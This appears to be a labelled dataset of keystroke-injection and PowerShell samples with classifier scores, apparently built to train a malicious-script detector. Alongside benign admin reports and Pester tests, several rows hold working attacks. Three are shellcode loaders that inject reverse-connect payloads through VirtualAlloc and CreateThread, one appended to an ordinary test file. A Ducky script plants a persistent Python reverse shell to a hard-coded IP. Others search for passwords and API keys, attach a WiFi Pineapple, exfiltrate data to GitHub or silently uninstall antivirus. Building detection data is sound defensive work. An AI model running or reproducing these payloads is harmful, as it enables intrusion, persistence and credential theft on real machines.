"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_p4cg1q6p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 3."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_10.csv"") -NoTypeInformation enter",0,0,0.99996495,3.506874e-05
"win+r enter powershell enter enter enter if (Get-Command logparser.exe) { enter enter $lpquery = @"" enter SELECT enter Distinct substr(LocalAddress, 0, last_index_of(substr(LocalAddress, 0, last_index_of(LocalAddress, '.')), '.')) as Local/16 enter FROM enter *netstat.csv enter ORDER BY enter Local/16 enter ""@ enter enter & logparser -stats:off -i:csv -dtlines:0 -rtp:-1 $lpquery enter enter } else { enter $ScriptName = [System.IO.Path]::GetFileName($MyInvocation.ScriptName) enter ""${ScriptName} requires logparser.exe in the path."" enter } enter enter",0,0,0.99254405,0.00745597
"win+r powershell enter $commands = function Test-SetAzureStorageBlobContent { Assert-ThrowsContains enter { Set-AzureStorageBlobContent -File ""foo.txt"" -Container foo -Blob foo -BlobTyp enter e Block } ""Could not get the storage context. Please pass in a storage context enter or set the current storage context."" > $null } function Test-UpdateStorageAcco enter unt { $accounts = Get-AzureStorageAccount enter",0,1,0.0010395715,0.9989604
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_q2f59z91"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter",0,0,0.9999659,3.404361e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_a3bi16ql"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_25.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4816225e-05
"win+r enter powershell enter enter enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.183765e-05,0.99994814
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x89,0x60,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r enter powershell enter enter enter Get-WMIObject Win32_ClassicCOMClassSetting | enter Where-Object { $_.InprocServer32 -ne $null -and -not (Test-Path $_.InprocServer32 -ErrorAction SilentlyContinue) } | enter Select-Object ComponentID,InprocServer32 | enter ForEach-Object { [System.Environment]::ExpandEnvironmentVariables($_.InprocServer32) + ',' + $_.ComponentID } | enter Where-Object { $_.Length -gt 2 -and $_.Substring(0,2) -eq 'c:' } | enter Get-Unique enter enter",1,0,0.9725681,0.027431913
"win+r powershell enter function Set-ModuleManifestMetadata { [CmdletBinding()] param( [Parameter(Man enter datory=$true)] $ManifestPath, [string[]] $Tag, enter enter",1,1,0.0018010461,0.9981989
"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter Describe 'Bin Directory' { enter foreach( $clr in @( 'coreclr', 'fullclr' ) ) enter { enter $allowedAssemblies = &{ enter 'Carbon.dll' enter 'Carbon.Iis.dll' enter 'Carbon.Xdt.dll' enter if( $clr -eq 'coreclr' ) enter { enter 'Microsoft.Web.Administration.dll' enter } enter 'Microsoft.Web.XmlTransform.dll' enter } enter Context $clr { enter It 'should not include assemblies that ship with PowerShell' { enter $binPath = Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon\bin' -Resolve enter $binPath = Join-Path -Path $binPath -ChildPath $clr enter $binPath = Join-Path -Path $BinPath -ChildPath '*' enter Get-ChildItem -Path $binPath -Exclude ($allowedAssemblies + '*.pdb') | Should -BeNullOrEmpty enter } enter } enter enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xcd,0xb8,0x55,0x17,0x46,0xdc,0xd9,0x74,0x24,0xf4,0x5d,0x33,0xc9,0xb1,0x47,0x31,0x45,0x18,0x83,0xed,0xfc,0x03,0x45,0x41,0xf5,0xb3,0x20,0x81,0x7b,0x3b,0xd9,0x51,0x1c,0xb5,0x3c,0x60,0x1c,0xa1,0x35,0xd2,0xac,0xa1,0x18,0xde,0x47,0xe7,0x88,0x55,0x25,0x20,0xbe,0xde,0x80,0x16,0xf1,0xdf,0xb9,0x6b,0x90,0x63,0xc0,0xbf,0x72,0x5a,0x0b,0xb2,0x73,0x9b,0x76,0x3f,0x21,0x74,0xfc,0x92,0xd6,0xf1,0x48,0x2f,0x5c,0x49,0x5c,0x37,0x81,0x19,0x5f,0x16,0x14,0x12,0x06,0xb8,0x96,0xf7,0x32,0xf1,0x80,0x14,0x7e,0x4b,0x3a,0xee,0xf4,0x4a,0xea,0x3f,0xf4,0xe1,0xd3,0xf0,0x07,0xfb,0x14,0x36,0xf8,0x8e,0x6c,0x45,0x85,0x88,0xaa,0x34,0x51,0x1c,0x29,0x9e,0x12,0x86,0x95,0x1f,0xf6,0x51,0x5d,0x13,0xb3,0x16,0x39,0x37,0x42,0xfa,0x31,0x43,0xcf,0xfd,0x95,0xc2,0x8b,0xd9,0x31,0x8f,0x48,0x43,0x63,0x75,0x3e,0x7c,0x73,0xd6,0x9f,0xd8,0xff,0xfa,0xf4,0x50,0xa2,0x92,0x39,0x59,0x5d,0x62,0x56,0xea,0x2e,0x50,0xf9,0x40,0xb9,0xd8,0x72,0x4f,0x3e,0x1f,0xa9,0x37,0xd0,0xde,0x52,0x48,0xf8,0x24,0x06,0x18,0x92,0x8d,0x27,0xf3,0x62,0x32,0xf2,0x54,0x33,0x9c,0xad,0x14,0xe3,0x5c,0x1e,0xfd,0xe9,0x53,0x41,0x1d,0x12,0xbe,0xea,0xb4,0xe8,0x28,0x46,0xb5,0x7f,0xde,0x00,0x47,0x80,0x0f,0x8d,0xce,0x66,0x45,0x3d,0x87,0x31,0xf1,0xa4,0x82,0xca,0x60,0x28,0x19,0xb7,0xa2,0xa2,0xae,0x47,0x6c,0x43,0xda,0x5b,0x18,0xa3,0x91,0x06,0x8e,0xbc,0x0f,0x2c,0x2e,0x29,0xb4,0xe7,0x79,0xc5,0xb6,0xde,0x4d,0x4a,0x48,0x35,0xc6,0x43,0xdc,0xf6,0xb0,0xab,0x30,0xf7,0x40,0xfa,0x5a,0xf7,0x28,0x5a,0x3f,0xa4,0x4d,0xa5,0xea,0xd8,0xde,0x30,0x15,0x89,0xb3,0x93,0x7d,0x37,0xea,0xd4,0x21,0xc8,0xd9,0xe4,0x1e,0x1f,0x27,0x93,0x4e,0xa3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.239537e-05,0.99994755
"win+r enter powershell enter enter enter Describe ""Join-String"" -Tags ""CI"" { enter enter BeforeAll { enter $testObject = Get-ChildItem enter } enter enter It ""Should be called using the InputObject without error with no other switches"" { enter { Join-String -InputObject $testObject } | Should -Not -Throw enter } enter enter It ""'Input | Join-String' should be equal to 'Join-String -InputObject Input'"" { enter $result1 = $testObject | Join-String enter $result2 = Join-String -InputObject $testObject enter $result1 | Should -BeExactly $result2 enter } enter enter It ""Should return a single string"" { enter $actual = $testObject | Join-String enter enter $actual.Count | Should -Be 1 enter $actual | Should -BeOfType System.String enter } enter enter It ""Should join property values with default separator"" { enter $expected = $testObject.Name -join $ofs enter $actual = $testObject | Join-String -Property Name enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join property values positionally with default separator"" { enter $expected = $testObject.Name -join $ofs enter $actual = $testObject | Join-String Name enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join property values with custom Separator"" { enter $expected = $testObject.Name -join ""; "" enter $actual = $testObject | Join-String -Property Name -Separator ""; "" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join property values SingleQuoted"" { enter $expected = ($testObject.Name).ForEach{""'$_'""} -join ""; "" enter $actual = $testObject | Join-String -Property Name -Separator ""; "" -SingleQuote enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join property values DoubleQuoted"" { enter $expected = ($testObject.Name).ForEach{""""""$_""""""} -join ""; "" enter $actual = $testObject | Join-String -Property Name -Separator ""; "" -DoubleQuote enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join property values Formatted"" { enter $expected = ($testObject.Name).ForEach{""[$_]""} -join ""; "" enter $actual = $testObject | Join-String -Property Name -Separator ""; "" -Format ""[{0}]"" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join numeric values Formatted"" { enter $testValues = 1.2, 3.4, 5.6 enter $expected = $testValues.Foreach{""{0:N2}"" -f $_} -join ""; "" enter $actual = $testValues | Join-String -Separator ""; "" -Format ""{0:N2}"" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join script block results with default separator"" { enter $sb = {$_.Name + $_.Length} enter $expected = ($testObject | ForEach-Object $sb) -join $ofs enter $actual = $testObject | Join-String -Property $sb enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join script block results with custom separator"" { enter $sb = {$_.Name + $_.Length} enter $expected = ($testObject | ForEach-Object $sb) -join ""; "" enter $actual = $testObject | Join-String -Property $sb -Separator ""; "" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join script block results SingleQuoted"" { enter $sb = {$_.Name + $_.Length} enter $expected = ($testObject | ForEach-Object $sb).ForEach{""'$_'""} -join $ofs enter $actual = $testObject | Join-String -Property $sb -SingleQuote enter $actual | Should -BeExactly $expected enter } enter It ""Should join script block results DoubleQuoted"" { enter $sb = {$_.Name + $_.Length} enter $expected = ($testObject | ForEach-Object $sb).ForEach{""""""$_""""""} -join $ofs enter $actual = $testObject | Join-String -Property $sb -DoubleQuote enter $actual | Should -BeExactly $expected enter } enter enter It ""Should join script block results with Format and separator"" { enter $sb = {$_.Name + $_.Length} enter $expected = ($testObject | ForEach-Object $sb).ForEach{""[{0}]"" -f $_} -join ""; "" enter $actual = $testObject | Join-String -Property $sb -Separator ""; "" -Format ""[{0}]"" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should Handle OutputPrefix and OutputSuffix"" { enter $ofs = ',' enter $expected = ""A 1,2,3 B"" enter $actual = 1..3 | Join-String -OutputPrefix ""A "" -OutputSuffix "" B"" enter $actual | Should -BeExactly $expected enter } enter enter It ""Should handle null separator"" { enter $expected = -join 'hello'.tochararray() enter $actual = ""hello"" | Join-String -separator $null enter $actual | Should -BeExactly $expected enter } enter enter It ""Should tabcomplete InputObject properties"" { enter $cmd = '[io.fileinfo]::new(""c: tab emp"") | Join-String -Property ' enter $res = tabexpansion2 $cmd $cmd.length enter $completionTexts = $res.CompletionMatches.CompletionText enter $Properties = [io.fileinfo]::new($PSScriptRoot).psobject.properties.Name enter foreach ($n in $Properties) { enter $n -in $completionTexts | Should -BeTrue enter } enter } enter enter } enter enter",0,0,0.9995931,0.00040688852
"DUCKY_REAL_BEGIN enter REM This script focuses on searching for common sensitive information enter REM including passwords, secrets, API keys, and configuration files. enter REM It performs a file search within specific file types and looks for specific patterns. enter REM The output will display any matches found in the search process. enter REM Author: Narsty enter REM Title: StealthSeeker enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: RECON enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 500 enter STRING Terminal enter DELAY 500 enter ENTER enter DELAY 500 enter STRING clear enter ENTER enter DELAY 500 enter STRING echo ""Initiating macOS sensitive information search..."" enter ENTER enter DELAY 1000 enter REM Search for Passwords and Secrets enter STRING echo ""----- Passwords and Secrets -----"" enter ENTER enter STRING grep -r -i -I --include='*.txt' --include='*.doc*' --include='*.xls*' --include='*.csv' --include='*.json' --exclude-dir='.git' --exclude-dir='node_modules' ""password\|secret\|apikey\|taxes\|pa enter ENTER enter DELAY 1000 enter REM Search for Configuration Files enter STRING echo ""----- Configuration Files -----"" enter ENTER enter STRING find / -type f \( -iname ""*.conf"" -o -iname ""*.config"" -o -iname ""*.properties"" -o -iname ""*.ini"" \) 2>/dev/null | xargs grep -E ""username|password|apikey|secret"" 2>/dev/null enter ENTER enter DELAY 1000 enter REM Finished enter STRING echo ""----- macOS sensitive information search completed! -----"" enter ENTER enter DUCKY_REAL_END",1,1,5.9113932e-05,0.9999409
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: PineApple enter REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it enter REM This version is a direct key stroke injection attack enter REM Author: I am Jakoby enter REM Target: Windows 10, 11 enter DELAY 1000 enter REM If the wifi pineapple SSID is detected target PC will connect to it enter GUI r enter DELAY 500 enter STRING powershell enter DELAY 500 enter ENTER enter DELAY 1000 enter STRING $profilefile=""Home.xml""; enter SHIFT ENTER enter STRING $SSID=""PineApple""; enter SHIFT ENTER enter STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'' enter SHIFT ENTER enter DELAY 500 enter STRING $xmlfile=""<?xml version=""""1.0""""?> enter SHIFT ENTER enter STRING <WLANProfile xmlns=""""http://www.microsoft.com/networking/WLAN/profile/v1""""> enter SHIFT ENTER enter STRING <name>$SSID</name> enter SHIFT ENTER enter STRING <SSIDConfig> enter SHIFT ENTER enter STRING <SSID> enter SHIFT ENTER enter STRING <hex>$SSIDHEX</hex> enter SHIFT ENTER enter STRING <name>$SSID</name> enter SHIFT ENTER enter STRING </SSID> enter SHIFT ENTER enter STRING </SSIDConfig> enter SHIFT ENTER enter STRING <connectionType>ESS</connectionType> enter SHIFT ENTER enter DUCKY_REAL_END enter",1,1,5.8353722e-05,0.9999416
"win+r powershell enter delay_short enter win+r enter delay_medium enter powershell enter enter enter delay_medium enter $request=[System.Net.HttpWebRequest]::Create(""http://ascii.live/rick"");$receiveStream=$request.GetResponse().GetResponseStream();$readStream=[System.IO.StreamReader]::new($receiveStream);[console]::TreatControlCAsInput=$true;$initialForegroundColor=[Console]::ForegroundColor;while($line=$readStream.ReadLine()){if([Console]::KeyAvailable){$key=[System.Console]::ReadKey($true);if(($key.modifiers -band [ConsoleModifiers]""control"") -and ($key.key -eq ""C"")){break;}}[Console]::WriteLine($line);} enter enter enter delay_short enter unknown_key_action GUI UPARROW enter",1,1,5.8226047e-05,0.9999418
win+r powershell enter function Get-FunctionDefaultParameter { [CmdletBinding()] [OutputType([hasht enter able])] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$ enter FunctionName ) try enter enter,1,1,0.0043057674,0.99569416
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_owby6dho"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4168897e-05
win+r powershell enter function Invoke-ExfilDataToGitHub { <# .SYNOPSIS Use this script to exfiltrat enter e data and files to a GitHub account. Using GitHub v3 REST API tutorial here h enter ttps://channel9.msdn.com/Blogs/trevor-powershell/Automating-the-GitHub-REST-API- enter Using-PowerShell .DESCRIPTION enter,1,1,6.304105e-05,0.99993694
"win+r powershell enter param( [string]$EditorServicesRepoPath = $null ) $script:PackageJson = Get-Con enter tent -Raw $PSScriptRoot/package.json | ConvertFrom-Json $script:IsPreviewExtensi enter on = $script:PackageJson.name -like ""*preview*"" -or $script:PackageJson.displayN enter ame -like ""*preview*"" Write-Host ""`n task ResolveEditorServicesPath -Before Cle enter anEditorServices, BuildEditorServices, TestEditorServices, Package { $script:p enter sesRepoPath = ` if ($EditorServicesRepoPath) { enter enter",1,1,0.0020357033,0.99796426
"win+r powershell enter function Join-PathUtility { param ( [Parameter(Mandatory = $true)] [string enter ] $Path, [Parameter(Mandatory = $false)] [string] $ChildPath, enter enter",1,1,0.0068483786,0.99315166
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_gv8f4xu5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4003344e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install strawberryperl enter A enter enter,0,0,0.99995923,4.077359e-05
win+r powershell enter [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrE enter mpty()] [string] $PackageFilePath ) function New-SelfSignedCertificate { [Cm enter dletBinding()] enter,1,1,0.002070547,0.99792945
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_qbd1l936"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter",0,0,0.99996674,3.3276592e-05
"DUCKY_REAL_BEGIN enter REM ***on attacker machine type 'netcat -l -p 8888'*** enter REM enter DELAY 3000 enter GUI SPACE enter DELAY 1500 enter STRING terminal enter DELAY 1000 enter ENTER enter DELAY 4500 enter STRING cd ~ enter ENTER enter DELAY 1500 enter STRING mkdir .OSXhelper enter ENTER enter DELAY 1500 enter STRING cd .OSXhelper enter ENTER enter DELAY 1500 enter REM ***replace IP Address with your attacking machine*** enter STRING echo ""python -c 'import socket, subprocess, os; enter STRING s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); enter STRING s.connect((\""192.168.0.89\"",8888)); enter STRING os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); enter STRING p=subprocess.call([\""/bin/sh\"",\""-i\""]);'"" > helper.sh enter ENTER enter DELAY 1500 enter STRING chmod +rwx helper.sh enter ENTER enter DELAY 1500 enter STRING launchctl submit -l yes -p ~/.OSXhelper/helper.sh enter ENTER enter DELAY 1500 enter STRING ./helper.sh& enter ENTER enter DELAY 1500 enter GUI m enter DELAY 1500 enter DUCKY_REAL_END",1,1,5.817426e-05,0.9999418
"win+r enter powershell enter enter enter $uninstall32s = gci ""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"" | foreach { gp $_.PSPath } | ? { $_ -like ""*AVG*"" } | select UninstallString;$uninstall64s = gci ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"" | foreach { gp $_.PSPath } | ? { $_ -like ""*AVG*"" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace ""MsiExec.exe"","""" -Replace ""/I"","""" -Replace ""/X"","""";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like ""*/mode=offline*""){}else{Write-Warning $uninstall64; start-process ""msiexec.exe"" -args ""/x $uninstall64 /qn /norestart"" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace ""MsiExec.exe"","""" -Replace ""/I"","""" -Replace ""/X"","""";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like ""*/mode=offline*""){}else{Write-Warning $uninstall32; start-process 